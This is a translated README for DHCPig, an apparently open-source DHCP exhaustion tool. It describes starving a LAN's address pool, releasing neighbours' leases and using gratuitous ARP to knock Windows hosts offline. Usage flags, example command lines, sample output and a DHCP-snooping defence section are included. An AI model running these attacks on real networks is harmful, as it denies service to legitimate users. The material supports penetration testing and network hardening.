
DHCPig v2.7.2
Скрипт истощения DHCP, написанный на python с использованием сетевой библиотеки scapy.
DHCPig
Теги#: DHCP, IPv4, IPv6, exhaustion, pentest, fuzzing, security, scapy
КРАТКОЕ ОПИСАНИЕ
DHCPig выполняет продвинутую атаку на истощение пула DHCP. Он израсходует все IP-адреса в локальной сети, не даст новым пользователям получить адреса, освободит все используемые IP-адреса, а затем, для верности, отправит gratuitous ARP и выбьет все хосты Windows из сети.
Для выполнения нужны библиотека scapy >=2.1 и права администратора. Никакой настройки не требуется — просто передайте интерфейс в качестве параметра. Инструмент протестирован на нескольких дистрибутивах Linux и различных DHCP-серверах (ISC, Windows 2k3/2k8 и т.д.).
При выполнении скрипт выполняет следующие действия:
-
Перехватывает IP-адреса соседей раньше них
Прослушивает DHCP-запросы других клиентов; если обнаружен offer, отвечает запросом на этот offer. -
Запрашивает все доступные IP-адреса в зоне
В цикле отправляет DHCP-запросы от разных хостов и MAC-адресов -
Находит MAC- и IP-адреса соседей и освобождает их IP на DHCP-сервере
Выполняет ARP-запросы ко всем соседям в этой LAN, а затем отправляет DHCPRelease на сервер
Наконец, скрипт ожидает истощения пула DHCP (то есть отсутствия полученных DHCP OFFER в течение 10 секунд), после чего:
- Выбивает все системы Windows из сети
Рассылает gratuitous ARP по LAN, и, поскольку свободных DHCP-адресов больше нет, эти системы Windows должны остаться в автономном режиме. Linux-системы не откажутся от IP, даже если в LAN будет обнаружена другая система с тем же IP.
PROTOCOL
-
IPv4
- SEQUENCE
- ----> DHCP_DISCOVER
- <---- DHCP_OFFER
- ----> DHCP_REQUEST
- <---- DHCP_REPLY (ACK/NACK)
- Обнаружение сниффинга DHCPd (DHCPd часто проверяет, используется ли IP)
- Проверка ARP_Snoops
- Проверка ICMP Snoops
- SEQUENCE
-
IPv6
- SEQUENCE
- ----> DHCP6_SOLICIT
- <---- DHCP6_ADVERTISE
- ----> DHCP6_REQUEST
- <---- DHCP6_REPLY
- Обнаружение сниффинга DHCPd (DHCPd часто проверяет, используется ли IP)
- Проверка ICMPv6 Snoops
- SEQUENCE
USAGE
enhanced DHCP exhaustion attack plus.
Usage:
pig.py [-h -v -6 -1 -s -f -t -a -i -o -l -x -y -z -g -r -n -c ] <interface>
Options:
-h, --help <-- you are here :)
-v, --verbosity ... 0 ... no (3)
1 ... minimal
10 ... default
99 ... debug
-6, --ipv6 ... DHCPv6 (off, DHCPv4 by default)
-1, --v6-rapid-commit ... enable RapidCommit (2way ip assignment instead of 4way) (off)
-s, --client-src ... a list of client macs 00:11:22:33:44:55,00:11:22:33:44:56 (Default: <random>)
-S, --ethernet-mac ... Use identical MAC addresses on the Ethernet frame and DHCP frame (off)
-O, --request-options ... option-codes to request e.g. 21,22,23 or 12,14-19,23 (Default: 0-80)
-f, --fuzz ... randomly fuzz packets (off)
-t, --threads ... number of sending threads (1)
-a, --show-arp ... detect/print arp who_has (off)
-i, --show-icmp ... detect/print icmps requests (off)
-o, --show-options ... print lease infos (off)
-l, --show-lease-confirm ... detect/print dhcp replies (off)
-g, --neighbors-attack-garp ... knock off network segment using gratious arps (off)
-r, --neighbors-attack-release ... release all neighbor ips (off)
-n, --neighbors-scan-arp ... arp neighbor scan (off)
-x, --timeout-threads ... thread spawn timer (0.4)
-y, --timeout-dos ... DOS timeout (8) (wait time to mass grat.arp)
-z, --timeout-dhcprequest ... dhcp request timeout (2)
-c, --color ... enable color output (off)
EXAMPLE
# requires root privileges to open raw sockets and set the interface in promiscuous mode
sudo ./pig.py eth1
./pig.py eth1
./pig.py --show-options eth1
./pig.py -x1 --show-options eth1
./pig.py -6 eth1
./pig.py -6 --fuzz eth1
./pig.py -6 -c -verbosity=1 eth1
./pig.py -6 -c -verbosity=3 eth1
./pig.py -6 -c -verbosity=100 eth1
./pig.py --neighbors-scan-arp -r -g --show-options eth1
DEPENDENCIES
$ python -m pip install scapy
$ sudo apt-get install libpcap0.8
CHANGELOG
1.6 : 2024-01
* support for python3 & scapy 2.5.0 via charles2910, k4l3b & maniaque
1.5 : 2017-1
* Better support for WiFi. pig no longer spoofs the ethernet frame src MAC address, just chaddr.
* Updated DHCP fingerprint to match existing operating systems. Some routers will only respond to known devices.
* Changed the BOOTP flag to broadcast from unicast. FIOS routers will only respond if broadcast BOOTP option is set.
* Feedback welcome, pig is now running well on the networks we have tested on.
1.0 : 2015-1
* more options, fixed v6 supoprt (LL src addr), color output, minimal and debug output
* more options, double the fun: scapy fuzzing, ipv6 support
* more options, more fun: show options/show icmp/show arp
* fixed indents, beautify doc, eyefriendly one-line-logging
ACTION-SHOTS
IPv4
x@<:/src/DHCPig# ./pig.py -c -v3 -l -a -i -o eth2
[ -- ] [INFO] - using interface eth2
[DBG ] Thread 0 - (Sniffer) READY
[DBG ] Thread 1 - (Sender) READY
[--->] DHCP_Discover
[ <- ] ARP_Request 172.20.0.40 from 172.20.15.1
[--->] DHCP_Discover
[ <- ] ARP_Request 172.20.0.41 from 172.20.15.1
[--->] DHCP_Discover
[ <- ] ARP_Request 172.20.0.42 from 172.20.15.1
[<---] DHCP_Offer 00:0c:29:da:53:f9 0.0.0.0 IP: 172.20.0.40 for MAC=[de:ad:26:4b:d3:40]
[DBG ] * xid=154552584
[DBG ] * CIaddr='0.0.0.0'
[DBG ] * YIaddr='172.20.0.40'
[DBG ] * SIaddr='0.0.0.0'
[DBG ] * GIaddr='0.0.0.0'
[DBG ] * CHaddr='\xde\xad&K\xd3@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[DBG ] * Sname='ISCdhcpd'
[DBG ] * message-type (2,)
[DBG ] * server_id ('172.20.15.1',)
[DBG ] * lease_time (60000,)
[DBG ] * subnet_mask ('255.254.0.0',)
[DBG ] * router ('172.20.15.1',)
[DBG ] * 39 ('\x01\x01\x01\x00\xac\x14\x0f\x01',)
[--->] DHCP_Request 172.20.0.40
[ <- ] ARP_Request 172.20.0.40 from 172.20.15.1
[--->] DHCP_Discover
[ <- ] ARP_Request 172.20.0.41 from 172.20.15.1
^C[ -- ] ----- ABORT ... -----
[DBG ] Waiting for Thread 0 to die ...
[DBG ] Waiting for Thread 1 to die ...
IPv6
x@y:/src/DHCPig# ./pig.py -6 -c -v3 -l eth3
[ -- ] [INFO] - using interface eth3
[DBG ] Thread 0 - (Sniffer) READY
[DBG ] Thread 1 - (Sender) READY
[--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf3\xc7\xde\xad#d\xee\xed']
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:23:64:ee:ed'] - LEASE: IPv6[fc11:5:5:5::1:7120]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:7120]
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:23:64:ee:ed'] - LEASE: IPv6[fc11:5:5:5::1:7120]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:7120]
[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:23:64:ee:ed'] - LEASE: IPv6[fc11:5:5:5::1:7120]
[--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf3\xc8\xde\xad\x00|\xa8P']
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:7c:a8:50'] - LEASE: IPv6[fc11:5:5:5::1:e447]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:e447]
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:7c:a8:50'] - LEASE: IPv6[fc11:5:5:5::1:e447]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:e447]
[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:7c:a8:50'] - LEASE: IPv6[fc11:5:5:5::1:e447]
[--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf3\xc8\xde\xad%\x07\nQ']
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:25:07:0a:51'] - LEASE: IPv6[fc11:5:5:5::1:2644]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:2644]
[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:25:07:0a:51'] - LEASE: IPv6[fc11:5:5:5::1:2644]
x@y:/src/DHCPig# ./pig.py -6 -c -v3 -l -a -i -o eth3
[ -- ] [INFO] - using interface eth3
[DBG ] Thread 0 - (Sniffer) READY
[DBG ] Thread 1 - (Sender) READY
[--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf4\x1d\xde\xad\x00`wg']
[ <- ] v6 ICMP REQUEST FROM [00:0c:29:da:53:ef] -> [fe80::20c:29ff:fef8:a1c8]
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:60:77:67'] - LEASE: IPv6[fc11:5:5:5::1:4e89]
[DBG ] * <bound method DHCP6_Advertise.show of <DHCP6_Advertise msgtype=ADVERTISE trid=0xfb5429
[DBG ] * DHCP6OptIA_NA optcode=IA_NA optlen=40 iaid=0xf T1=0 T2=0 ianaopts=[<DHCP6OptIAAddress optcode=IAADDR optlen=24 addr=fc11:5:5:5::1:4e89 preflft=375 validlft=600 |>]
[DBG ] * DHCP6OptClientId optcode=CLIENTID optlen=14 duid=<DUID_LLT type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Fri, 27 Mar 2043 13:29:01 +0000 (2311075741) lladdr=de:ad:00:60:77:67 |>
[DBG ] * DHCP6OptServerId optcode=SERVERID optlen=14 duid=<DUID_LLT type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Tue, 26 Mar 2013 08:31:13 +0000 (1364286673) lladdr=00:0c:29:da:53:ef |>
[DBG ] * DHCP6OptDNSServers optcode=DNS Recursive Name Server Option optlen=32 dnsservers=[ fc11:5:5:5::99, fc11:5:5:5::98 ]
[DBG ] * DHCP6OptNISPServers optcode=OPTION_NISP_SERVERS optlen=16 nispservers=[ fc11:5:5:5::100 ]
[DBG ] * DHCP6OptNISPDomain optcode=OPTION_NISP_DOMAIN_NAME optlen=11 nispdomain='myNISname' |>>>>>>>>
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:4e89]
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:60:77:67'] - LEASE: IPv6[fc11:5:5:5::1:4e89]
[DBG ] * <bound method DHCP6_Advertise.show of <DHCP6_Advertise msgtype=ADVERTISE trid=0xfb5429
[DBG ] * DHCP6OptIA_NA optcode=IA_NA optlen=40 iaid=0xf T1=0 T2=0 ianaopts=[<DHCP6OptIAAddress optcode=IAADDR optlen=24 addr=fc11:5:5:5::1:4e89 preflft=375 validlft=600 |>]
[DBG ] * DHCP6OptClientId optcode=CLIENTID optlen=14 duid=<DUID_LLT type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Fri, 27 Mar 2043 13:29:01 +0000 (2311075741) lladdr=de:ad:00:60:77:67 |>
[DBG ] * DHCP6OptServerId optcode=SERVERID optlen=14 duid=<DUID_LLT type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Tue, 26 Mar 2013 08:31:13 +0000 (1364286673) lladdr=00:0c:29:da:53:ef |>
[DBG ] * DHCP6OptDNSServers optcode=DNS Recursive Name Server Option optlen=32 dnsservers=[ fc11:5:5:5::99, fc11:5:5:5::98 ]
[DBG ] * DHCP6OptNISPServers optcode=OPTION_NISP_SERVERS optlen=16 nispservers=[ fc11:5:5:5::100 ]
[DBG ] * DHCP6OptNISPDomain optcode=OPTION_NISP_DOMAIN_NAME optlen=11 nispdomain='myNISname' |>>>>>>>>
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:4e89]
[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:60:77:67'] - LEASE: IPv6[fc11:5:5:5::1:4e89]
^C[ -- ] ----- ABORT ... -----
[DBG ] Waiting for Thread 0 to die ...
[DBG ] Waiting for Thread 1 to die ...
Минимальный вывод (verbosity=1)
. = DHCP_Discovery
! = DHCP_Offer
; = ICMP/ARP/DHCP_ACKs
D = DEBUG output (show options, etc.)
E = ERROR
N = NOTICE / INFO
x@y:/src/DHCPig# ./pig.py -6 -c -v1 -a -i -o -l eth3
WARNING: No route found for IPv6 destination :: (no default route?)
NDD.!DDDDDDD.!DDDDDDD.;;;;.!DDDDDDD.!DDDDDDD.;;;;.!DDDDDDD.;.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;.!DDDDDDD.;tcpdump: WARNING: eth3: no IPv4 address assigned
.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;;.!DDDDDDD.!DDDDDDD.;;^CNDD
x@y:/src/DHCPig# ./pig.py -6 -c -v1 -l eth3
NDD!.!.;;;;.!.!.;;;;.!.;.!.!.;;.!.;.!.!.;;.!.;.!.;.!.!.;;.!.;^CNDD
DEFENSE
Наиболее распространённый подход к защите от истощения пула DHCP — использование коммутации на уровне доступа (access layer) или беспроводных контроллеров.
В коммутаторах Cisco самый простой вариант — включить DHCP snooping. Snooping защитит от истощения пула адресов, перехвата IP-адресов и подмены DHCP-сервера — все эти атаки используются в DHCPig. Судя по анализируемому трафику, DHCP snooping создаёт таблицу соответствия IP и MAC на каждом порту. Пользовательские порты доступа затем ограничиваются только выданным IP-адресом. Любые DHCP-сообщения сервера, исходящие с недоверенных портов, отфильтровываются.
Включите следующее для защиты от истощения пула адресов, перехвата IP и подмены DHCP-сервера:
-
включите snooping
ip dhcp snooping -
укажите порт, к которому подключён ваш DHCP. Скорее всего, это ваш аплинк. Это ограничит ответы DHCP-сервера только указанным портом, поэтому используйте после тестирования в лабораторной среде.
int fa0/1(или правильный интерфейс)ip dhcp snooping trust -
покажите статус
show ip dhcp snoppingshow ip dhcp snopping binding -
дополнительная информация: http://www.cisco.com/en/US/docs/switches/lan/catalyst4500/12.1/12ew/configuration/guide/dhcp.pdf
LICENSE:
Все эти скрипты выпущены под лицензией GPL v2 или более поздней версии. Полное описание лицензии смотрите на http://www.gnu.org/licenses/gpl.txt
DISCLAIMER:
Вся информация и программное обеспечение, доступные на этом сайте, предназначены только для образовательных целей. Автор никоим образом не несёт ответственности за любое неправомерное использование информации.
//Kevin
//tintin